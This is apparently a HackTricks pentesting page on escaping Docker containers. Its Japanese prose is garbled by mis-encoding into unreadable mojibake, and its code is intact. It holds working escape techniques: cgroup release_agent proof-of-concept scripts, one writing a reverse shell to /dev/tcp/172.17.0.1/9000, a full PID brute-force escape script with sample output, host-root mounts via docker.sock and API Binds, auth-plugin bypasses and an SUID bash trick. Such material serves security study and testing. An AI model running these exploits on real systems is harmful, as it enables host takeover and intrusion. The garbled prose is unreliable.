36 KiB
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
-
ãµã€ããŒã»ãã¥ãªãã£äŒæ¥ã§åããŠããŸããïŒ HackTricksã§äŒç€Ÿã宣äŒãããã§ããïŒãŸãã¯ãPEASSã®ææ°ããŒãžã§ã³ã«ã¢ã¯ã»ã¹ããããHackTricksãPDFã§ããŠã³ããŒããããã§ããïŒSUBSCRIPTION PLANSããã§ãã¯ããŠãã ããïŒ
-
The PEASS FamilyãèŠã€ããŠãã ãããç¬å çãªNFTã®ã³ã¬ã¯ã·ã§ã³ã§ãã
-
å ¬åŒã®PEASSïŒHackTricksã®ã°ããºãæã«å ¥ããŸãããã
-
ð¬ Discordã°ã«ãŒããŸãã¯telegramã°ã«ãŒãã«åå ããããTwitterã§ãã©ããŒããŠãã ããðŠ@carlospolopm.
-
**ãããã³ã°ã®ããªãã¯ãå ±æããã«ã¯ãhacktricksãªããžããªãšhacktricks-cloudãªããžããª**ã«PRãæåºããŠãã ããã
ã³ã³ãããšã¯
èŠçŽãããšãããã¯cgroupsïŒããã»ã¹ã䜿çšã§ãããã®ãäŸãã°CPUãRAMïŒãšnamespacesïŒããã»ã¹ãèŠãããšãã§ãããã®ãäŸãã°ãã£ã¬ã¯ããªãä»ã®ããã»ã¹ïŒãä»ããŠåé¢ãããããã»ã¹ã§ãã
docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
ps -ef | grep 1234 #Get info about the sleep process
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
ããŠã³ããããDockerãœã±ãã
ããäœããã®æ¹æ³ã§ãDockerãœã±ãããDockerã³ã³ããå
ã«ããŠã³ããããŠããããšãããã£ãå Žåãããããè±åºããããšãã§ããŸãã
ããã¯éåžžãäœããã®çç±ã§Dockerã³ã³ãããDockerããŒã¢ã³ã«æ¥ç¶ããŠã¢ã¯ã·ã§ã³ãå®è¡ããå¿
èŠãããå Žåã«èµ·ãããŸãã
#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
ãã®å Žåãéåžžã®Dockerã³ãã³ãã䜿çšããŠDockerããŒã¢ã³ãšéä¿¡ããããšãã§ããŸãã
#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
{% hint style="info" %}
äºæããªãå Žæã«dockerãœã±ãããããå Žåããã©ã¡ãŒã¿**-H unix:///path/to/docker.sock
ã䜿çšããŠdocker
**ã³ãã³ãã§ãããšéä¿¡ããããšãã§ããŸãã
{% endhint %}
ã³ã³ããã®æ©èœ
ã³ã³ããã®æ©èœã確èªããå¿
èŠããããŸãã以äžã®ããããã®æ©èœãããå Žåããããè±åºããããšãã§ãããããããŸããïŒCAP_SYS_ADMIN
ãCAP_SYS_PTRACE
ãCAP_SYS_MODULE
ãDAC_READ_SEARCH
ãDAC_OVERRIDE
çŸåšã®ã³ã³ããã®æ©èœã確èªããã«ã¯ã次ã®ã³ãã³ãã䜿çšããŸãïŒ
capsh --print
以äžã®ããŒãžã§ã¯ãLinuxã®æ©èœã«ã€ããŠè©³ããåŠã³ãããããæªçšããæ¹æ³ã«ã€ããŠåŠã¶ããšãã§ããŸãïŒ
{% content-ref url="linux-capabilities.md" %} linux-capabilities.md {% endcontent-ref %}
--privileged
ãã©ã°
--privilegedãã©ã°ã䜿çšãããšãã³ã³ããã¯ãã¹ãããã€ã¹ã«ã¢ã¯ã»ã¹ã§ããããã«ãªããŸãã
ã«ãŒãæš©éãååŸãã
é©åã«èšå®ãããDockerã³ã³ããã§ã¯ãfdisk -lã®ãããªã³ãã³ãã¯èš±å¯ãããŸããããã ãã--privilegedãã©ã°ãæå®ããããã¹æ§æã®Dockerã³ãã³ãã§ã¯ããã¹ããã©ã€ãã衚瀺ããããã®ç¹æš©ãååŸããããšãå¯èœã§ãã
ãããã£ãŠããã¹ããã·ã³ãä¹ã£åãããšã¯ç°¡åã§ãïŒ
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
ãããŠãã§ããããïŒãã¹ãã®ãã¡ã€ã«ã·ã¹ãã ã«ã¢ã¯ã»ã¹ã§ããããã«ãªããŸããããªããªããããã/mnt/hola
ãã©ã«ãã«ããŠã³ããããŠããããã§ãã
{% code title="åæã®PoC" %}
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o;
echo $t/c >$d/release_agent;
echo "#!/bin/sh $1 >$t/o" >/c;
chmod +x /c;
sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
{% code title="第äºã®PoC" %}
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
head /output
{% endcode %}
--privileged
ãã©ã°ã¯ãéèŠãªã»ãã¥ãªãã£äžã®æžå¿µãåŒãèµ·ããããã®ãšã¯ã¹ããã€ãã¯ãããæå¹ã«ããç¶æ
ã§Dockerã³ã³ãããèµ·åããããšã«äŸåããŠããŸãããã®ãã©ã°ã䜿çšãããšãã³ã³ããã¯ãã¹ãŠã®ããã€ã¹ã«å®å
šãªã¢ã¯ã»ã¹æš©ãæã¡ãseccompãAppArmorãããã³Linuxã®æ©èœå¶éããããŸããã
å®éã«ã¯ããã®æ¹æ³ã§Dockerã³ã³ããããè±åºããããã«å¿ èŠãªæš©éã¯ã次ã®ãšããã§ãã
- ã³ã³ããå ã§rootãšããŠå®è¡ããŠããå¿ èŠããããŸãã
- ã³ã³ããã¯
SYS_ADMIN
Linuxæ©èœãæã€ããã«å®è¡ãããŠããå¿ èŠããããŸãã - ã³ã³ããã«ã¯AppArmorãããã¡ã€ã«ããªããããŸãã¯
mount
ã·ã¹ã³ãŒã«ãèš±å¯ããããã«èšå®ãããŠããå¿ èŠããããŸãã - ã³ã³ããå ã§cgroup v1ä»®æ³ãã¡ã€ã«ã·ã¹ãã ãèªã¿æžãå¯èœã«ããŠã³ããããŠããå¿ èŠããããŸãã
SYS_ADMIN
æ©èœã«ãããã³ã³ããã¯mount
ã·ã¹ã³ãŒã«ãå®è¡ã§ããŸãïŒman 7 capabilitiesãåç
§ïŒãDockerã¯ããã©ã«ãã§å¶éãããã»ããã®æ©èœã§ã³ã³ãããèµ·åããŸãããã»ãã¥ãªãã£äžã®ãªã¹ã¯ã®ããã«SYS_ADMIN
æ©èœãæå¹ã«ããŸããã
ããã«ãDockerã¯ããã©ã«ãã§docker-default
AppArmorããªã·ãŒã§ã³ã³ãããèµ·åããŸãããmount
ã·ã¹ã³ãŒã«ã®äœ¿çšãé²æ¢ããŸããããšãã³ã³ãããSYS_ADMIN
ã§å®è¡ãããŠããŠãã§ãã
ãã®ãã¯ããã¯ã«å¯ŸããŠè匱ãªã³ã³ããã¯ã次ã®ãã©ã°ã§å®è¡ãããå Žåã§ãïŒ--security-opt apparmor=unconfined --cap-add=SYS_ADMIN
Proof of Conceptã®è§£èª¬
ãã®ãã¯ããã¯ã䜿çšããããã®èŠä»¶ãç解ããProof of Conceptã®ãšã¯ã¹ããã€ããæŽç·Žãããã®ã§ããããè¡ããšã«èª¬æããŠãããŸãããã
ãã®ãšã¯ã¹ããã€ããããªã¬ãŒããããã«ã¯ãrelease_agent
ãã¡ã€ã«ãäœæããcgroupå
ã®ãã¹ãŠã®ããã»ã¹ãçµäºãããããšã§release_agent
ãåŒã³åºãããcgroupãå¿
èŠã§ããæãç°¡åãªæ¹æ³ã¯ãcgroupã³ã³ãããŒã©ãããŠã³ãããåcgroupãäœæããããšã§ãã
ãã®ããã«ã/tmp/cgrp
ãã£ã¬ã¯ããªãäœæããRDMA cgroupã³ã³ãããŒã©ãããŠã³ãããåcgroupïŒãã®äŸã§ã¯ãxããšããååïŒãäœæããŸãããã¹ãŠã®cgroupã³ã³ãããŒã©ããã¹ããããŠããããã§ã¯ãããŸãããããã®ãã¯ããã¯ã¯ã»ãšãã©ã®cgroupã³ã³ãããŒã©ã§åäœããã¯ãã§ãã
ããããmount: /tmp/cgrp: special device cgroup does not existããšè¡šç€ºãããå Žåã¯ãRDMA cgroupã³ã³ãããŒã©ãã»ããã¢ãããããŠããªãããã§ãããããä¿®æ£ããã«ã¯ãrdma
ãmemory
ã«å€æŽããŠãã ãããRDMAã䜿çšããŠããã®ã¯ãå
ã®PoCãããã«å¯ŸããŠã®ã¿èšèšãããŠããããã§ãã
cgroupã³ã³ãããŒã©ã¯ã°ããŒãã«ãªãªãœãŒã¹ã§ãããç°ãªãæš©éã§è€æ°åããŠã³ãããããšãã§ãã1ã€ã®ããŠã³ãã§è¡ãããå€æŽã¯ä»ã®ããŠã³ãã«ãé©çšãããŸãã
以äžã«ããxãã®åcgroupã®äœæãšãã®ãã£ã¬ã¯ããªãªã¹ãã瀺ããŸãã
root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
root@b11cf9eab4fd:/# ls /tmp/cgrp/
cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks
次ã«ããxãcgroupã®ãªãªãŒã¹æã«cgroupéç¥ãæå¹ã«ããããã«ãnotify_on_release
ãã¡ã€ã«ã«1ãæžã蟌ã¿ãŸãããŸããRDMA cgroupã®ãªãªãŒã¹ãšãŒãžã§ã³ããå®è¡ããããã«ããã¹ãäžã®release_agent
ãã¡ã€ã«ã«ã³ã³ããå
ã§åŸã§äœæãã/cmd
ã¹ã¯ãªããã®ãã¹ãæžã蟌ã¿ãŸãããããè¡ãããã«ãã³ã³ããã®ãã¹ããã¹ãäžã®/etc/mtab
ãã¡ã€ã«ããååŸããŸãã
ã³ã³ããã«è¿œå ãŸãã¯å€æŽãããã¡ã€ã«ã¯ãã¹ãäžã«ååšããã³ã³ããå ã®ãã¹ãšãã¹ãäžã®ãã¹ã®äž¡æ¹ããå€æŽããããšãå¯èœã§ãã
ãããã®æäœã¯ä»¥äžã®ããã«è¡šç€ºãããŸãïŒ
root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
ãã¹ãäžã«äœæããäºå®ã® /cmd
ã¹ã¯ãªããã®ãã¹ã«æ³šæããŠãã ããã
root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd
次ã«ã/cmd
ã¹ã¯ãªãããäœæããŸãããã®ã¹ã¯ãªããã¯ps aux
ã³ãã³ããå®è¡ãããã®åºåãã³ã³ããå
ã®/output
ã«ä¿åããŸãããã¹ãäžã®åºåãã¡ã€ã«ã®ãã«ãã¹ãæå®ããŸããæåŸã«ã/cmd
ã¹ã¯ãªããã®å
容ã衚瀺ããŸãã
#!/bin/sh
ps aux > /output
cat /cmd
root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
root@b11cf9eab4fd:/# chmod a+x /cmd
root@b11cf9eab4fd:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output
æåŸã«ãæ»æãå®è¡ããããšãã§ããŸãããŸããå³åº§ã«çµäºããããã»ã¹ããxãã®åcgroupå
ã§çæããŸãã/bin/sh
ããã»ã¹ãäœæãããã®PIDããxãã®åcgroupãã£ã¬ã¯ããªå
ã®cgroup.procs
ãã¡ã€ã«ã«æžã蟌ãããšã§ããã¹ãäžã®ã¹ã¯ãªããã/bin/sh
ã®çµäºåŸã«å®è¡ãããŸãã次ã«ããã¹ãäžã§å®è¡ãããps aux
ã®åºåãã³ã³ããå
ã®/output
ãã¡ã€ã«ã«ä¿åããŸãã
root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@b11cf9eab4fd:/# head /output
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.1 1.0 17564 10288 ? Ss 13:57 0:01 /sbin/init
root 2 0.0 0.0 0 0 ? S 13:57 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_gp]
root 4 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_par_gp]
root 6 0.0 0.0 0 0 ? I< 13:57 0:00 [kworker/0:0H-kblockd]
root 8 0.0 0.0 0 0 ? I< 13:57 0:00 [mm_percpu_wq]
root 9 0.0 0.0 0 0 ? S 13:57 0:00 [ksoftirqd/0]
root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched]
root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0]
--privileged
ãã©ã° v2
以åã® PoC ã¯ãã³ã³ãããããŠã³ããã€ã³ãã®ãã¹ããã¹å
šäœãå
¬éããã¹ãã¬ãŒãžãã©ã€ãïŒäŸïŒoverlayfs
ïŒã§æ§æãããŠããå Žåã«ã¯åé¡ãããŸããããæè¿ããã¹ããã¡ã€ã«ã·ã¹ãã ã®ããŠã³ããã€ã³ããæ瀺çã«é瀺ãããŠããªãããã€ãã®èšå®ã«ééããŸããã
Kata Containers
root@container:~$ head -1 /etc/mtab
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
Kata Containersã¯ããã©ã«ãã§ã³ã³ããã®ã«ãŒããã¡ã€ã«ã·ã¹ãã ã9pfs
äžã«ããŠã³ãããŸããããã«ãããKata Containersä»®æ³ãã·ã³å
ã®ã³ã³ãããã¡ã€ã«ã·ã¹ãã ã®å Žæã«é¢ããæ
å ±ã¯æŒæŽ©ããŸããã
* Kata Containersã«ã€ããŠã¯ãå°æ¥ã®ããã°èšäºã§è©³ãã説æããŸãã
ããã€ã¹ããããŒ
root@container:~$ head -1 /etc/mtab
/dev/sdc / ext4 rw,relatime,stripe=384 0 0
ä»£æ¿ PoC
æããã«ããããã®å Žåã«ã¯ãã¹ããã¡ã€ã«ã·ã¹ãã äžã®ã³ã³ãããã¡ã€ã«ã®ãã¹ãç¹å®ããããã®ååãªæ å ±ããããŸããã®ã§ãFelixã® PoC ã¯ãã®ãŸãŸã§ã¯äœ¿çšã§ããŸãããããããå°ãã®å·¥å€«ã§ãã®æ»æãå®è¡ããããšã¯ã§ããŸãã
å¿ èŠãªå¯äžã®éèŠãªæ å ±ã¯ãã³ã³ããå ã§å®è¡ããããã®ãã³ã³ãããã¹ãã«å¯Ÿããå®å šãªãã¹ã§ããã³ã³ããå ã®ããŠã³ããã€ã³ããããããå€å¥ããããšãã§ããªãå Žåã¯ãä»ã®å Žæãæ¢ãå¿ èŠããããŸãã
Proc ãææžç
Linux ã® /proc
ä»®æ³ãã¡ã€ã«ã·ã¹ãã ã¯ãã·ã¹ãã äžã§å®è¡ãããŠãããã¹ãŠã®ããã»ã¹ãäŸãã°ã³ã³ããå
ã®ããã»ã¹ãå«ããç°ãªãåå空éã§å®è¡ãããŠããããã»ã¹ã®ã«ãŒãã«ããã»ã¹ããŒã¿æ§é ãå
¬éããŸããããã¯ãã³ã³ããå
ã®ããã»ã¹ã® /proc
ãã£ã¬ã¯ããªã«ã¢ã¯ã»ã¹ããããšã§ããã¹ãäžã®ããã»ã¹ã®ã³ãã³ããå®è¡ããããšã§ç€ºãããšãã§ããŸãã
root@container:~$ sleep 100
root@host:~$ ps -eaf | grep sleep
root 28936 28909 0 10:11 pts/0 00:00:00 sleep 100
root@host:~$ ls -la /proc/`pidof sleep`
total 0
dr-xr-xr-x 9 root root 0 Nov 19 10:03 .
dr-xr-xr-x 430 root root 0 Nov 9 15:41 ..
dr-xr-xr-x 2 root root 0 Nov 19 10:04 attr
-rw-r--r-- 1 root root 0 Nov 19 10:04 autogroup
-r-------- 1 root root 0 Nov 19 10:04 auxv
-r--r--r-- 1 root root 0 Nov 19 10:03 cgroup
--w------- 1 root root 0 Nov 19 10:04 clear_refs
-r--r--r-- 1 root root 0 Nov 19 10:04 cmdline
...
-rw-r--r-- 1 root root 0 Nov 19 10:29 projid_map
lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> /
-rw-r--r-- 1 root root 0 Nov 19 10:29 sched
...
ã¡ãªã¿ã«ã/proc/<pid>/root
ããŒã¿æ§é ã¯ãç§ãéåžžã«é·ãéæ··ä¹±ããŠãããã®ã§ããããªã/
ãžã®ã·ã³ããªãã¯ãªã³ã¯ãæçšãªã®ãç解ã§ããŸããã§ããããmanããŒãžã®å®éã®å®çŸ©ãèªãã§ããç解ã§ããŸããã
/proc/[pid]/root
UNIXãšLinuxã¯ãchroot(2)ã·ã¹ãã ã³ãŒã«ã«ãã£ãŠèšå®ãããããã»ã¹ããšã®ãã¡ã€ã«ã·ã¹ãã ã®ã«ãŒãããµããŒãããŠããŸãããã®ãã¡ã€ã«ã¯ãããã»ã¹ã®ã«ãŒããã£ã¬ã¯ããªãæãã·ã³ããªãã¯ãªã³ã¯ã§ãããexeãfd/*ãšåãããã«åäœããŸãã
ãã ãããã®ãã¡ã€ã«ã¯åãªãã·ã³ããªãã¯ãªã³ã¯ã§ã¯ãããŸãããããã»ã¹èªäœãšåããã¡ã€ã«ã·ã¹ãã ã®ãã¥ãŒïŒåå空éãšããã»ã¹ããšã®ããŠã³ãã®ã»ãããå«ãïŒãæäŸããŸãã
/proc/<pid>/root
ã·ã³ããªãã¯ãªã³ã¯ã¯ãã³ã³ããå
ã®ä»»æã®ãã¡ã€ã«ãžã®ãã¹ãçžå¯Ÿãã¹ãšããŠäœ¿çšã§ããŸãïŒContainer
root@container:~$ echo findme > /findme
root@container:~$ sleep 100
root@host:~$ cat /proc/`pidof sleep`/root/findme
findme
æ»æã®èŠä»¶ããã³ã³ããå ã®ãã¡ã€ã«ã®ãã«ãã¹ãã³ã³ãããã¹ãã«å¯ŸããŠç¥ãå¿ èŠãããã³ã³ããå ã§å®è¡ãããŠãã_ä»»æã®_ããã»ã¹ã®pidãç¥ãå¿ èŠã«å€ãããŸãã
Pid Bashing
ããã¯å®éã«ã¯ç°¡åãªéšåã§ããLinuxã§ã¯ãããã»ã¹IDã¯æ°å€ã§ãããé çªã«å²ãåœãŠãããŸããinit
ããã»ã¹ã¯ããã»ã¹ID 1
ãå²ãåœãŠããããã®åŸã®ããã»ã¹ã¯å¢åã®IDãå²ãåœãŠãããŸããã³ã³ããå
ã®ããã»ã¹ã®ãã¹ãããã»ã¹IDãç¹å®ããããã«ããã«ãŒããã©ãŒã¹ã®å¢åæ€çŽ¢ã䜿çšãããŸãã
root@container:~$ echo findme > /findme
root@container:~$ sleep 100
ãã¹ã
root@host:~$ COUNTER=1
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
root@host:~$ echo ${COUNTER}
7822
root@host:~$ cat /proc/${COUNTER}/root/findme
findme
ãã¹ãŠãçµã¿åããã
ãã®æ»æãå®äºããããã«ããã«ãŒããã©ãŒã¹æè¡ã䜿çšããŠãã¹ /proc/<pid>/root/payload.sh
ã® pid ãæšæž¬ããããšãã§ããŸããåå埩ã§æšæž¬ããã pid ãã¹ã cgroups ã® release_agent
ãã¡ã€ã«ã«æžã蟌ã¿ãrelease_agent
ãããªã¬ãŒããåºåãã¡ã€ã«ãäœæããããã©ããã確èªããŸãã
ãã®æè¡ã®å¯äžã®æ³šæç¹ã¯ãããã決ããŠåŸ®åŠãªæ¹æ³ã§ã¯ãªããpid ã®æ°ãéåžžã«é«ãããå¯èœæ§ãããããšã§ããé·æéå®è¡ãããããã»ã¹ã¯å®è¡ãããªããããä¿¡é Œæ§ã®åé¡ã¯çºçããªãã¯ãã§ãããç§ã®èšèãåŒçšããªãã§ãã ããã
以äžã® PoC ã¯ãcgroups ã® release_agent
æ©èœã䜿çšããŠç¹æš©ã³ã³ããããã®è±åºãå®çŸããããã«ãFelix ã®å
ã® PoC ã§æåã«æ瀺ããããã®ãããäžè¬çãªæ»æãæäŸããããã«ãããã®æè¡ãå®è£
ããŠããŸã:
#!/bin/sh
OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &
# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__
# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}
# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
ç¹æš©ã³ã³ããå ã§PoCãå®è¡ãããšã次ã®ãããªåºåãåŸãããã¯ãã§ãã
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200
Done! Output:
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 11:25 ? 00:00:01 /sbin/init
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
Runc exploit (CVE-2019-5736)
docker exec
ãrootãšããŠå®è¡ã§ããå ŽåïŒããããsudoã䜿çšããŠããå ŽåïŒãCVE-2019-5736ãæªçšããŠã³ã³ãããããã¹ãã®ç¹æš©ãææ Œãããããšãã§ããŸãïŒããã«ãšã¯ã¹ããã€ãããããŸãïŒããã®ãã¯ããã¯ã¯åºæ¬çã«ã¯ãã¹ãã®_/bin/sh_ãã€ããªãã³ã³ããããäžæžããããã®ã§ãããdocker execãå®è¡ãããšãã€ããŒããããªã¬ãŒãããŸãã
ãã€ããŒããé©å®å€æŽããgo build main.go
ã§main.goããã«ãããŸãããã«ãããããã€ããªã¯ãå®è¡ã®ããã«dockerã³ã³ããã«é
眮ããå¿
èŠããããŸãã
å®è¡æã«[+] Overwritten /bin/sh successfully
ãšè¡šç€ºããããšããã¹ããã·ã³ãã次ã®ã³ãã³ããå®è¡ããå¿
èŠããããŸãïŒ
docker exec -it <container-name> /bin/sh
ããã«ãããmain.goãã¡ã€ã«ã«ååšãããã€ããŒããããªã¬ãŒãããŸãã
詳现ã«ã€ããŠã¯ãã¡ããåç §ããŠãã ããïŒhttps://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html
Docker Auth Plugin Bypass
äžéšã®å Žåãã·ã¹ãã 管çè ã¯ç¹æš©ã®ææ Œãé²ãããã«ãäœç¹æš©ãŠãŒã¶ãŒãç¹æš©ãæããªãç¶æ ã§dockerãšããåãããããã®ãã©ã°ã€ã³ãã€ã³ã¹ããŒã«ããããšããããŸãã
run --privileged
ã®çŠæ¢
ãã®å Žåãã·ã¹ãã 管çè
ã¯ãŠãŒã¶ãŒã--privileged
ãã©ã°ã䜿çšããŠããªã¥ãŒã ãããŠã³ãããããã³ã³ããã«ä»»æã®è¿œå æ©èœãäžãããããããšãçŠæ¢ããŠããŸãã
docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.
ãã ãããŠãŒã¶ãŒã¯å®è¡äžã®ã³ã³ããå ã«ã·ã§ã«ãäœæããè¿œå ã®ç¹æš©ãäžããããšãã§ããŸãïŒ
docker run -d --security-opt "seccomp=unconfined" ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
docker exec -it --privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash
ä»ããŠãŒã¶ãŒã¯ä»¥åã«èª¬æããããããã®ãã¯ããã¯ã䜿çšããŠã³ã³ããããè±åºãããã¹ãå ã§ç¹æš©ãææ Œãããããšãã§ããŸãã
æžã蟌ã¿å¯èœãªãã©ã«ãã®ããŠã³ã
ãã®å Žåãã·ã¹ãã 管çè
ã¯ãŠãŒã¶ãŒã«--privileged
ãã©ã°ã§ã³ã³ãããå®è¡ããããšãèš±å¯ãããã³ã³ããã«è¿œå ã®æ©èœãäžããããšãèš±å¯ããŸããã§ããããã ãã/tmp
ãã©ã«ãã®ããŠã³ãã®ã¿ãèš±å¯ããŸããã
host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root
{% hint style="info" %}
泚æããŠãã ããããããã/tmp
ãã©ã«ããããŠã³ãããããšã¯ã§ããŸããããå¥ã®æžã蟌ã¿å¯èœãªãã©ã«ããããŠã³ãããããšã¯ã§ããŸããæžã蟌ã¿å¯èœãªãã£ã¬ã¯ããªãèŠã€ããã«ã¯ã次ã®ã³ãã³ãã䜿çšããŸãïŒfind / -writable -type d 2>/dev/null
ãã¹ãŠã®ãã£ã¬ã¯ããªãsuidãããããµããŒãããŠããããã§ã¯ãããŸããïŒ suidãããããµããŒãããŠãããã£ã¬ã¯ããªã確èªããã«ã¯ãmount | grep -v "nosuid"
ãå®è¡ããŸããããšãã°ãéåžžã/dev/shm
ã/run
ã/proc
ã/sys/fs/cgroup
ã/var/lib/lxcfs
ã¯suidãããããµããŒãããŠããŸããã
ãŸããdockerã³ã³ããããrootãšããŠãã¹ãã§æªçšããããã«ã/etc
ãèšå®ãã¡ã€ã«ãå«ãä»ã®ãã©ã«ããããŠã³ãã§ããå Žåã¯ãããããå€æŽããããšãã§ããŸãïŒããšãã°ã/etc/shadow
ãå€æŽããããšãã§ããŸãïŒã
{% endhint %}
ãã§ãã¯ãããŠããªãJSONæ§é
ã·ã¹ãã 管çè
ãDockerãã¡ã€ã¢ãŠã©ãŒã«ãèšå®ããéã«ãAPIïŒhttps://docs.docker.com/engine/api/v1.40/#operation/ContainerListïŒã®éèŠãªãã©ã¡ãŒã¿ãŒã§ãããBindsããå¿ããŠããŸã£ãå¯èœæ§ããããŸãã
以äžã®äŸã§ã¯ããã®èšå®ãã¹ãæªçšããŠããã¹ãã®ã«ãŒãïŒ/ïŒãã©ã«ããããŠã³ãããã³ã³ãããäœæããŠå®è¡ããããšãå¯èœã§ãïŒ
docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
#Then, a container that mounts the root folder of the host
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem
ãã§ãã¯ãããŠããªãJSONå±æ§
